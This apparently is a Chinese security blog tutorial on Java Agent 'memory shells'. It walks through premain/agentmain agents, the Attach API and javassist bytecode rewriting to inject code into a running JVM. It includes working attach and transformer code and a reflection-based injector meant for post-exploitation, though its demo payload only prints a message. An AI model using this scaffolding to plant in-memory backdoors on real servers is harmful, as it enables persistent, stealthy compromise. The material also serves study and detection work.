Skip to content

Java Agent 内存马

date
2023-09-10 12:08:13

介绍

Java是一种静态强类型语言,在运行之前必须将其编译成.class​字节码,然后再交给JVM处理运行。

Java Agent 就是一种能在不影响正常编译的前提下,修改 Java 字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。

agent 主要分为两种:

  1. jvm 参数启动:实现 premain 方法,在 JVM 启动前加载
  2. attach 附加启动:实现 agentmain 方法,在 JVM 启动后加载

premain 和 agentmain 函数声明如下,拥有 Instrumentation inst 参数的方法优先级更高:

public static void agentmain(String agentArgs, Instrumentation inst) {
    ...
}

public static void agentmain(String agentArgs) {
    ...
}

public static void premain(String agentArgs, Instrumentation inst) {
    ...
}

public static void premain(String agentArgs) {
    ...
}

而 agent 内存马就是使用 attach 的方式,实现在程序运行中去注入内存马。

与其他内存马不同的是,它不仅仅可以在反序列化、JNDI 等代码执行的漏洞环境下去注入内存马,还能够在命令注入等情况下实现。​​

环境搭建

jdk 版本:1.8

agent程序

package org.agent;

import java.lang.instrument.Instrumentation;

public class SimpleAgent {

    /**
     * jvm 参数形式启动,运行此方法
     *
     * @param agentArgs
     * @param inst
     */
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("premain");
    }

    /**
     * 动态 attach 方式启动,运行此方法
     *
     * @param agentArgs
     * @param inst
     */
    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("agentmain");
    }
}

premain 和 agentmain

编译为 jar 包,这里使用插件。在 pom.xml 中添加:

<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-assembly-plugin</artifactId>
            <configuration>
                <descriptorRefs>
                    <descriptorRef>jar-with-dependencies</descriptorRef>
                </descriptorRefs>
                <archive>
                        <manifestEntries>
                            <!-- 这里写 agent 类 -->
                            <Premain-Class>org.agent.SimpleAgent</Premain-Class>
                            <Agent-Class>org.agent.SimpleAgent</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                </archive>
            </configuration>
            <!-- 好像是插件的目标, 如果报错删掉即可 -->
            <executions>
                <execution>
                    <goals>
                        <goal>attached</goal>
                    </goals>
                    <phase>package</phase>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>

然后使用 maven 直接构建:

image

测试程序

package org.agent;

public class BaseMain {

    public int print(int i) {
        System.out.println("i: " + i);
        return i + 2;
    }

    public void run() {
        int i = 1;
        while (true) {
            i = print(i);
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    }

    public static void main(String[] args) throws InterruptedException {
        BaseMain main = new BaseMain();
        main.run();
        Thread.sleep(1000 * 60 * 60);
    }
}

jvm 启动前加载

启动程序的时候指定 javaagent 的 jar 路径,然后在主程序启动前就会运行 premain 方法:

-javaagent:D:/Projects/java/AgentStudy/target/AgentStudy-1.0-SNAPSHOT-jar-with-dependencies.jar

IDEA 操作:

image

image

启动程序,可以看到在主程序运行前先运行了 premain:

image

attach 启动后加载

官方为了实现启动后加载,提供了Attach API​。Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach​ 包里面。这里需要先导入一下这个 tools 包:

image

image

package org.agent;

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class AttachMain {
    public static void main(String[] args)
            throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {
        // 根据 PID 连接到主程序的 JVM 
        VirtualMachine vm = VirtualMachine.attach("40424");
        // 加载 agent
        vm.loadAgent("D:/Projects/java/AgentStudy/target/AgentStudy-1.0-SNAPSHOT-jar-with-dependencies.jar");
    }
}

查看 PID 号:

jps -l

image

image

VirtualMachine 还有其他方法:

public abstract class VirtualMachine {
    // 获得当前所有的JVM列表
    public static List<VirtualMachineDescriptor> list() { ... }

    // 根据pid连接到JVM
    public static VirtualMachine attach(String id) { ... }

    // 断开连接
    public abstract void detach() {}

    // 加载agent,agentmain方法靠的就是这个方法
    public void loadAgent(String agent) { ... }

}

可以借此实现一个遍历,然后去获取到目标 JVM 的 PID 后加载 agent :

package org.agent;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class AttachMain {
    public static void main(String[] args)
            throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, javassist.NotFoundException {
        // 1. 获得当前所有的 JVM 列表
        List<VirtualMachineDescriptor> virtualMachineDescriptorList = VirtualMachine.list();

        for (VirtualMachineDescriptor virtualMachineDescriptor : virtualMachineDescriptorList) {
            // 2. 遍历获取目标 JVM
            if (virtualMachineDescriptor.displayName().contains("org.agent.BaseMain")) {
                // 3. 连接到 JVM
                VirtualMachine virtualMachine = VirtualMachine.attach(virtualMachineDescriptor.id());
                // 4. 加载 agent
                virtualMachine.loadAgent("D:/Projects/java/AgentStudy/target/AgentStudy-1.0-SNAPSHOT-jar-with-dependencies.jar");
                // 5. 断开连接
                virtualMachine.detach();
                System.out.printf("Loaded agent %s Success !", virtualMachineDescriptor.displayName());
                break;
            }
        }
    }
}

agent 修改 JVM 指定方法

上面的 attach 已经可以实现获取目标 JVM 的 PID 然后去加载 agent 程序,那么 agent 程序该如何去注入内存马?

注入内存马其实就是去修改当前 JVM 中的指定类的指定方法,那么流程就是:

  1. 获取到指定类
  2. 获取到指定方法
  3. 修改方法

修改方法能实现了,那么内存马只是去修改对应环境的请求处理方法,给它加一个命令执行或者启动逻辑就好了。

这个就需要用到 Instrumentation 和 javassist 了。

Instrumentation

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。

就是这里的参数:

agentmain(String agentArgs, Instrumentation inst) 
public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

    // 在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断一个类是否被修改
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    Class[] getAllLoadedClasses();

    // 获取一个对象的大小
    long getObjectSize(Object objectToSize);

}

通过 Instrumentation 我们可以做到:

  1. getAllLoadedClasses() 获取所有加载的类
  2. addTransformer(ClassFileTransformer transformer, boolean canRetransform) 增加一个转换器
  3. retransformClasses(Class<?>... classes) 重新加载类

agent :

    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        // 1. 获取所有类
        Class[] allLoadedClasses = inst.getAllLoadedClasses();
        String targetClassName = "org.agent.BaseMain";
        for (Class cls : allLoadedClasses) {
            // 2. 获取到目标类
            if (!cls.getName().equals(targetClassName)) {
                continue;
            }
            // 3. 添加一个 transformer
            inst.addTransformer(new AgentTransformer(), true);
            // 4. 重载该类
            inst.retransformClasses(cls);
        }
    }

然后实现这个 ClassFileTransformer transformer:

package org.agent;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class AgentTransformer implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        // 转换器操作, 对该类进行修改
        return new byte[0];
    }
}

现在还差的就是 transformer 转换器中去实现修改指定类方法的功能了,这个就需要用到 javassist 去动态修改字节码。

javassist 动态修改字节码

先在 pom.xml 中添加相关依赖:

1
2
3
4
5
6
7
<dependencies>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.20.0-GA</version>
    </dependency>
</dependencies>

CtClass 对象提供了一些方法可以去直接修改目标类。也就可以通过该对象去实现内存马注入。

该对象必须从 ClassPool 对象获取,它就是一个 CtClass 对象容器,然后通过 ClassPool 的 get 方法获取到对应类的 CtClass 对象( 查找对应的类文件,然后封装为 CtClass 对象 )。

如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径,

1
2
3
4
5
6
7
8
9
// 获取 ctClass 对象容器
ClassPool cp = ClassPool.getDefault();
// 获取到指定类名的 ctClass 对象
CtClass ctClass = cp.get("org.agent.BaseMain");
// 添加额外的搜索路径
cp.insertClassPath(new ClassClassPath(<Class>));
// 获取到指定方法
CtMethod ctMethod= ctClass.getDeclaredMethod(MethodName)
// 使用 CtMethod 的方法去做修改
public final class CtMethod extends CtBehavior {
}

// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
    // 设置方法体
    public void setBody(String src);
    // 插入在方法体最前面
    public void insertBefore(String src);
    // 插入在方法体最后面
    public void insertAfter(String src);
    // 在方法体的某一行插入内容
    public int insertAt(int lineNum, String src);
}

修改实现

把着上面两种手段结合起来:

  1. getAllLoadedClasses() 获取所有加载的类
  2. 获取到指定的类
  3. addTransformer(ClassFileTransformer transformer, boolean canRetransform) 增加一个转换器,转换器中使用 javassist 去实现方法的修改

    1. 获取 ctClass 对象容器
    2. 获取到指定类名的 ctClass 对象
    3. 获取到指定的方法
    4. 对方法进行修改
    5. retransformClasses(Class<?>... classes) 重新加载类

实现转换器:

package org.agent;

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class AgentTransformer implements ClassFileTransformer {

    public String className;
    public String methodName;
    public String beforeContent;

    public AgentTransformer(String className, String methodName, String beforeContent) {
        this.className = className;
        this.methodName = methodName;
        this.beforeContent = beforeContent;
    }

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        // 1. 获取 ClassPool
        ClassPool classPool = ClassPool.getDefault();
        // 2. 添加额外的类搜索路径
        if (classBeingRedefined != null) {
            ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
            classPool.insertClassPath(ccp);
        }
        try {
            // 3. 获取目标类
            CtClass ctClass = classPool.get(this.className);
            // 4. 获取目标方法
            CtMethod ctMethod = ctClass.getDeclaredMethod(this.methodName);
            // 5. 修改方法
            ctMethod.insertBefore(this.beforeContent);
            // 6. 返回字节码
            return ctClass.toBytecode();
        } catch (NotFoundException | CannotCompileException | IOException e) {
            throw new RuntimeException(e);
        }
    }
}

然后在 agentmain​ 里面写一下参数:

package org.agent;

import javassist.convert.Transformer;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class SimpleAgent {

    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        // 1. 获取所有类
        Class[] allLoadedClasses = inst.getAllLoadedClasses();
        String targetClassName = "org.agent.BaseMain";
        String targetMethodName = "print";
        String methodBeforeContent = "System.out.println(\"update this method success !\");";
        for (Class cls : allLoadedClasses) {
            // 2. 获取到目标类
            if (!cls.getName().equals(targetClassName)) {
                continue;
            }
            // 3. 添加一个 transformer
            inst.addTransformer(new AgentTransformer(targetClassName, targetMethodName, methodBeforeContent), true);
            // 4. 重载该类
            inst.retransformClasses(cls);
        }
    }
}

将 agent 重新编译后在 attach 后:

image

目前可以正常的修改方法,但是实际的环境下,可能是没有 tools 包的所以需要修改 attach 方法为反射实现:

然后编译一下就可以了,需要注意的是 agent 的 jar 路径需要填绝对路径。

package org.agent;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.List;

public class AttachReflectionMain {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        if (args.length < 2) {
            System.out.println("Usage: <class-name> <full-agent-path>");
            return;
        }
        String className = args[0];
        String agentPath = args[1];
        Class<?> vmListClass = Class.forName("com.sun.tools.attach.VirtualMachine");
        Class<?> vmDescriptorClass = Class.forName("com.sun.tools.attach.VirtualMachineDescriptor");
        Method listMethod = vmListClass.getDeclaredMethod("list");
        listMethod.setAccessible(true);
        Object virtualMachineDescriptorList = listMethod.invoke(null);
        for (int i = 0; i < ((List<?>) virtualMachineDescriptorList).size(); i++) {
            Object virtualMachineDescriptor = ((List<?>) virtualMachineDescriptorList).get(i);
            Method displayNameMethod = vmDescriptorClass.getMethod("displayName");
            String displayName = (String) displayNameMethod.invoke(virtualMachineDescriptor);
            if (displayName.contains(className)) {
                Method attachMethod = vmListClass.getMethod("attach", String.class);
                Object virtualMachine = attachMethod.invoke(null, ((vmDescriptorClass.getMethod("id")).invoke(virtualMachineDescriptor)));
                Method loadAgentMethod = vmListClass.getMethod("loadAgent", String.class);
                loadAgentMethod.invoke(virtualMachine, agentPath);
                Method detachMethod = vmListClass.getMethod("detach");
                detachMethod.invoke(virtualMachine);
                System.out.printf("Loaded agent %s Success !", displayName);
                break;
            }
        }
    }
}

参考链接

源码

AgentStudy.7z